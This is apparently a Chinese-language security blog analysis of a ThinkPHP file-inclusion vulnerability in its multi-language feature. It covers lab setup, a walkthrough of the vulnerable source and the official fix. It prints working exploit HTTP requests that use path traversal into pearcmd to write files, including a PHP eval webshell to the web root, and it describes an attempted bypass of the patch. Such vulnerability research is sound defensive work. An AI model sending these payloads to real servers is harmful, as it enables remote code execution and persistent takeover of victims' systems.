ThinkPHP 多语言功能开启下文件包含漏洞


ThinkPHP 多语言功能开启下文件包含漏洞

漏洞描述

ThinkPHP 是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架。Thinkphp 在开启多语言功能的情况下存在文件包含漏洞,结合特殊环境可能造成远程代码执行。Thinkphp官方已于9月25日的V6.0.14 版本中修复。

受影响版本

v6.0.0 ~ v6.0.13
v5.1.x < v5.1.42
v5.0.x

安全版本

v6.0.14
v5.1.42

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

攻击条件

开启多语言功能

ThinkPHP6

ThinkPHP6.0完全开发手册-多语言

app/middleware.php :

<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    \think\middleware\LoadLangPack::class,
    // Session初始化
    // \think\middleware\SessionInit::class
];

ThinkPHP5

ThinkPHP5.0完全开发手册-多语言

config/app.php

application/config.php

'lang_switch_on'         => true

测试环境搭建

官方地址:https://github.com/top-think/think

这里以v6.0.12版本作为复现环境。

ThinkPHP6.0的环境要求如下:

PHP >= 7.2.5
6.0版本开始,必须通过Composer方式安装和更新,所以你无法通过Git下载安装。

安装composer

如果还没有安装 Composer,在 Linux 和 Mac OS X 中可以运行如下命令:

curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer

在 Windows 中,你需要下载并运行 Composer-Setup.exe

由于众所周知的原因,国外的网站连接速度很慢。因此安装的时间可能会比较长,我们建议使用国内镜像。
打开命令行窗口(windows用户)或控制台(Linux、Mac 用户)并执行如下命令:

阿里云:composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
华为云:composer config -g repo.packagist composer https://repo.huaweicloud.com/repository/php/

安装ThinkPHP v6.0.12

root@ubuntu:/var/www/# git clone https://github.com/top-think/think.git think_git
root@ubuntu:/var/www/# cd think_git
root@ubuntu:/var/www/think_git# git checkout v6.0.12

更改composer.json,安装v6.0.12

"require": {
    "php": ">=7.2.5",
    "topthink/framework": "6.0.12",
    "topthink/think-orm": "^2.0"
},
root@ubuntu:/var/www/think_git#composer install

也可以直接下载:https://github.com/top-think/think/releases/tag/v6.0.12

我在实际配置的过程中,在进行composer install时,并不会按照composer.json中所写的去下载"topthink/framework": "6.0.12",而是去下载了最新版本,于是我手动下载了v6.0.13版本并进行了替换。

打开多语言配置

<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    \think\middleware\LoadLangPack::class,
    // Session初始化
    // \think\middleware\SessionInit::class
];

测试运行

现在只需要做最后一步来验证是否正常运行。

进入命令行下面,执行下面指令

php think run

在浏览器中输入地址:

http://localhost:8000/

会看到欢迎页面。恭喜你,现在已经完成ThinkPHP6.0的安装!

如果你本地80端口没有被占用的话,也可以直接使用

php think run -p 80

然后就可以直接访问:

http://localhost/

IDEA+PHPStudy+Xdebug 配置PHP DEBUG环境

如果不是IDEA这个DEBUG配置折磨了我一整个下午,我绝对不会写上来(一开始就配置的挺好的,非要去整烂活),真的脑溢血了。

首先我用的PHP版本是7.3.4,并且使用PHPStudy环境下载的,用起来较为方便。

打开idea,打开file/settings/plugins,下载php插件。下载完后重启idea,打开file/settings/Languages & Framworks/php,选择PHP language level

选择CLI interpreter,新建,以我本地配置为例,PHP executablephp.exe的绝对路径F:\phpStudy\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe。填写Debugger extensionphp_xdebug.dll的绝对路径F:\phpStudy\phpstudy_pro\Extensions\php\php7.3.4nts\ext

如果本地没有Xdebug,可以利用PHPStudy直接下载。

php.ini中需要添加:

[Xdebug]
zend_extension=F:/phpStudy/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.trace_output_dir=F:/phpStudy/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=On
xdebug.profiler_output_dir="F:\phpStudy\phpstudy_pro\Extensions\tmp\xdebug"
xdebug.remote_autostart=1
xdebug.remote_enable=On
xdebug.idekey=PHPSTORM
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9010
xdebug.remote_handler=dbgp

zend_extension需要根据本地情况进行修改。

xdebug.trace_output_dirxdebug.profiler_output_dir改为自己想改的目录即可。

xdebug.idekeyxdebug.remote_port随意设置,只需要保证与idea中设置相同即可。

添加完后打开idea中的file/settings/Languages & Framworks/php/Debug将其中的Xdebug中的Debug port改为php.ini中的xdebug.remote_port

正常运行thinkphp,以我本地为例,输入php think run -p 11233,然后浏览器访问,idea中会弹出一个窗口,点击确定即可(如果不做更改,之后应该不会弹出该窗口)。

然后正常设置断点进行调试即可。

漏洞修复

protected function detect(Request $request): string
{
    // 自动侦测设置获取语言选择
    $langSet = '';

    if ($request->get($this->config['detect_var'])) {
        // url中设置了语言变量
        $langSet = strtolower($request->get($this->config['detect_var']));
    } elseif ($request->header($this->config['header_var'])) {
        // Header中设置了语言变量
        $langSet = strtolower($request->header($this->config['header_var']));
    } elseif ($request->cookie($this->config['cookie_var'])) {
        // Cookie中设置了语言变量
        $langSet = strtolower($request->cookie($this->config['cookie_var']));
    } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
        // 自动侦测浏览器语言
        $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
        if ($match) {
            $langSet = strtolower($matches[1]);
            if (isset($this->config['accept_language'][$langSet])) {
                $langSet = $this->config['accept_language'][$langSet];
            }
        }
    }

    if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
        // 合法的语言
        $range = $langSet;
        $this->lang->setLangSet($range);
    } else {
        $range = $this->lang->getLangSet();
    }

    return $range;
}

修复

    protected function detect(Request $request): string
    {
        // 自动侦测设置获取语言选择
        $langSet = '';

        if ($request->get($this->config['detect_var'])) {
            // url中设置了语言变量
            $langSet = $request->get($this->config['detect_var']);
        } elseif ($request->header($this->config['header_var'])) {
            // Header中设置了语言变量
            $langSet = $request->header($this->config['header_var']);
        } elseif ($request->cookie($this->config['cookie_var'])) {
            // Cookie中设置了语言变量
            $langSet = $request->cookie($this->config['cookie_var']);
        } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
            // 自动侦测浏览器语言
            $langSet = $request->server('HTTP_ACCEPT_LANGUAGE');
        }

        if (preg_match('/^([a-z\d\-]+)/i', $langSet, $matches)) {
            $langSet = strtolower($matches[1]);
            if (isset($this->config['accept_language'][$langSet])) {
                $langSet = $this->config['accept_language'][$langSet];
            }
        } else {
            $langSet = $this->lang->getLangSet();
        }

        if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
            // 合法的语言
            $this->lang->setLangSet($langSet);
        } else {
            $langSet = $this->lang->getLangSet();
        }

        return $langSet;
    }

添加了正则/^([a-z\d\-]+)/i,匹配字母数字和-。如果无法匹配,则将$langSet置为默认语言,这里是zh-cn

漏洞复现

\vendor\topthink\framework\src\think\middleware\LoadLangPack.php中设置断点。

public function handle($request, Closure $next)
{
    // 自动侦测当前语言
    $langset = $this->detect($request);

    if ($this->lang->defaultLangSet() != $langset) {
        $this->lang->switchLangSet($langset);
    }

    $this->saveToCookie($this->app->cookie, $langset);

    return $next($request);
}

每个middlewarehandle()函数都会被调用,这里断在LoadLangPack.phphandle(),直接在最开头调用 $langset = $this->detect($request);

跟进这个detect(),可以看到依次排查了GET["lang"]HEADER["think-lang"]COOKIE["think_lang"],并且将其不做任何过滤,直接赋值给了$langSet

然后默认情况下,即allow_lang_list这个配置为空,$langSet被赋值给$range,而$range被返回:

回到handle(),如果返回的$langset不等于默认的langset,即zh-cn,那么就会调用$this->lang->switchLangSet($langset),正是在这里面实现了文件包含:

跟进switchLangSet(),可以看到调用了$this->load(),而传入的参数直接拼接而成,本例中传入的最终结果是 D:\var\www\think6\vendor\topthink\framework\src\lang\../../../../../index.php

$this->load([
    $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);

跟进这个load(),可以看到直接将传入的参数作为文件名,先判断文件在不在,如果在就传入parse()中,进行文件包含:

public function load($file, $range = ''): array
{
    $range = $range ?: $this->range;
    if (!isset($this->lang[$range])) {
        $this->lang[$range] = [];
    }

    $lang = [];

    foreach ((array) $file as $name) {
        if (is_file($name)) {
            $result = $this->parse($name);
            $lang   = array_change_key_case($result) + $lang;
        }
    }

    if (!empty($lang)) {
        $this->lang[$range] = $lang + $this->lang[$range];
    }

    return $this->lang[$range];
}

跟进parse(),可以看到进行了文件包含:

protected function parse(string $file): array
{
    $type = pathinfo($file, PATHINFO_EXTENSION);

    switch ($type) {
        case 'php':
            $result = include $file;
            break;
        case 'yml':
        case 'yaml':
            if (function_exists('yaml_parse_file')) {
                $result = yaml_parse_file($file);
            }
            break;
        case 'json':
            $data = file_get_contents($file);

            if (false !== $data) {
                $data = json_decode($data, true);

                if (json_last_error() === JSON_ERROR_NONE) {
                    $result = $data;
                }
            }

            break;
    }

    return isset($result) && is_array($result) ? $result : [];
}

既然可以通过目录穿越实现任意php文件的包含,那么用pearcmd文件包含这个trick,就能RCE了。

Docker环境搭建的Thinkphp6为例

发包

GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/1.php
 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

文件包含

GET /public/index.php?lang=../../../../../../../../../../../../tmp/1 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

当然也可以写入一句话木马get shell

GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

pearcmd文件包含

pearcmd 文件包含这个 trick ,可以参考 p 牛的文章:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

peclPHP中用于管理扩展而使用的命令行工具,而pearpecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。

在阅读phpinfo()的过程中,发现Docker环境下的PHP会开启register_argc_argv这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给$argc$argv$_SERVER['argv']几个变量。

如果PHP以命令行的形式运行(即sapicli),这里很好理解。但如果PHPServer的形式运行,且又开启了register_argc_argv,那么这其中是怎么处理的?

我们在PHP源码中可以看到这样的逻辑:

static zend_bool php_auto_globals_create_server(zend_string *name)
{
    if (PG(variables_order) && (strchr(PG(variables_order),'S') || strchr(PG(variables_order),'s'))) {
        php_register_server_variables();

        if (PG(register_argc_argv)) {
            if (SG(request_info).argc) {
                zval *argc, *argv;

                if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&
                    (argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {
                    Z_ADDREF_P(argv);
                    zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);
                    zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);
                }
            } else {
                php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
            }
        }

    } else {
        zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);
        array_init(&PG(http_globals)[TRACK_VARS_SERVER]);
    }
    ...

第一个if语句判断variables_order中是否有S,即$_SERVER变量;第二个if语句判断是否开启register_argc_argv,第三个if语句判断是否有request_info.argc存在,如果不存在,其执行的是这条语句:

php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);

无论php_build_argv函数内部是怎么处理的,SG(request_info).query_string都非常吸引我,这段代码意味着,HTTP数据包中的query-string会被作为argv的值。

RFC3875中规定,如果query-string中不包含没有编码的=,且请求是GETHEAD,则query-string需要被作为命令行参数。

PHP现在仍然没有严格按照RFC来处理,即使我们传入的query-string包含等号,也仍会被赋值给$_SERVER['argv']

我们再来看到pear中获取命令行argv的函数:

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

先尝试$argv,如果不存在再尝试$_SERVER['argv'],后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。

看看pear中有哪些可以利用的参数:

第一眼就看到config-create,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

所以,我构造出最后的利用数据包如下:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含<?=phpinfo()?>;

然后,我们再利用文件包含漏洞包含这个文件即可getshell

最后这个利用方法,无需条件竞争,也没有额外其他的版本限制等,只要是Docker启动的PHP环境即可通过上述一个数据包搞定。

漏洞修复

官方的修复:https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099

大致就是加入了一个正则判断,只允许字母数字以及-。看到这个修复,我第一时间想到了利用回溯次数绕过preg_match,不过,我在本地尝试时,总是会报错Invalid Request。单独拿出来进行测试,发现可以绕过preg_match,但后续是将$matches[1]赋值给$langSet。暂时还没有绕过的思路。


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !